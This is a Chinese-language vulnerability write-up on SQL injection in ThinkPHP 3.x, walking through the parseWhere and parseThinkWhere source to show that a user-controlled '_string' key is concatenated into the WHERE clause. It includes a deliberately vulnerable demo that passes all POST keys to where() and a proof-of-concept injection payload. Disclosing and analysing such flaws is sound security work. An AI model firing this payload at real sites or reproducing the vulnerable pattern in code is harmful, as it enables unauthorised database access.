ThinkPHP3.x注入漏洞

  • 发表于
  • Vulndb

也不知道别人发过没,如有雷同纯属巧合

parseWhere:

protected function parseWhere($where) {
$whereStr = '';
if(is_string($where)) {
// 直接使用字符串条件
$whereStr = $where;
}else{ // 使用数组表达式
$operate= isset($where['_logic'])?strtoupper($where['_logic']):'';
if(in_array($operate,array('AND','OR','XOR'))){
// 定义逻辑运算规则 例如 OR XOR AND NOT
$operate= ' '.$operate.' ';
unset($where['_logic']);
}else{
// 默认进行 AND 运算
$operate= ' AND ';
}
foreach ($where as $key=>$val){
if(is_numeric($key)){
$key= '_complex';
}
if(0===strpos($key,'_')) {
// 解析特殊条件表达式
$whereStr .= $this->parseThinkWhere($key,$val);
}else{
// 查询字段的安全过滤
// if(!preg_match('/^[A-Z_\|\&\-.a-z0-9\(\)\,]+$/',trim($key))){
// E(L('_EXPRESS_ERROR_').':'.$key);
// }
// 多条件支持
$multi= is_array($val) &&isset($val['_multi']);
$key= trim($key);
if(strpos($key,'|')) { // 支持 name|title|nickname 方式定义查询字段
$array =explode('|',$key);
$str =array();
foreach ($array as $m=>$k){
$v =$multi?$val[$m]:$val;
$str[] = $this->parseWhereItem($this->parseKey($k),$v);
}
$whereStr .= '( '.implode(' OR ',$str).' )';
}elseif(strpos($key,'&')){
$array =explode('&',$key);
$str =array();
foreach ($array as $m=>$k){
$v =$multi?$val[$m]:$val;
$str[] = '('.$this->parseWhereItem($this->parseKey($k),$v).')';
}
$whereStr .= '( '.implode(' AND ',$str).' )';
}else{
$whereStr .= $this->parseWhereItem($this->parseKey($key),$val);
}
}
$whereStr .= $operate;
}
$whereStr = substr($whereStr,0,-strlen($operate));
}
return empty($whereStr)?'':' WHERE '.$whereStr;
}

仔细看下这段代码:

if(0===strpos($key,'_')) {
$whereStr .= $this->parseThinkWhere($key,$val);
}

如果说我的key可控,那么就可以parseThinkWhere这个方法:

protected function parseThinkWhere($key,$val) {
$whereStr = '';
switch($key) {
case '_string':
// 字符串模式查询条件
$whereStr = $val;
break;
case '_complex':
// 复合查询条件
$whereStr = substr($this->parseWhere($val),6);
break;
case '_query':
// 字符串模式查询条件
parse_str($val,$where);
if(isset($where['_logic'])) {
$op =' '.strtoupper($where['_logic']).' ';
unset($where['_logic']);
}else{
$op =' AND ';
}
$array =array();
foreach ($where as $field=>$data)
$array[] = $this->parseKey($field).' = '.$this->parseValue($data);
$whereStr = implode($op,$array);
break;
}
return '( '.$whereStr.' )';
}

当$key等于_string的时候会将value拼接到whereStr中,此时会造成注入漏洞,当然case下面几个同理。

漏洞演示:

这个地方比较麻烦的在于key必须可控,这里就限制了很多,当然key可控的cms也很多,其中比较具有代表性的就算Thinkcmf了。

demo:

$data=array();
foreach($_POST as $key => $value){
$data[$key]=$value;
}
$valu = $User->where($data)->select();

此时POST数据传入:

_string=Id%3d1) and 1=1 -- -a

截图:

ThinkPHP3.x注入漏洞

本文作者:小透明,原文地址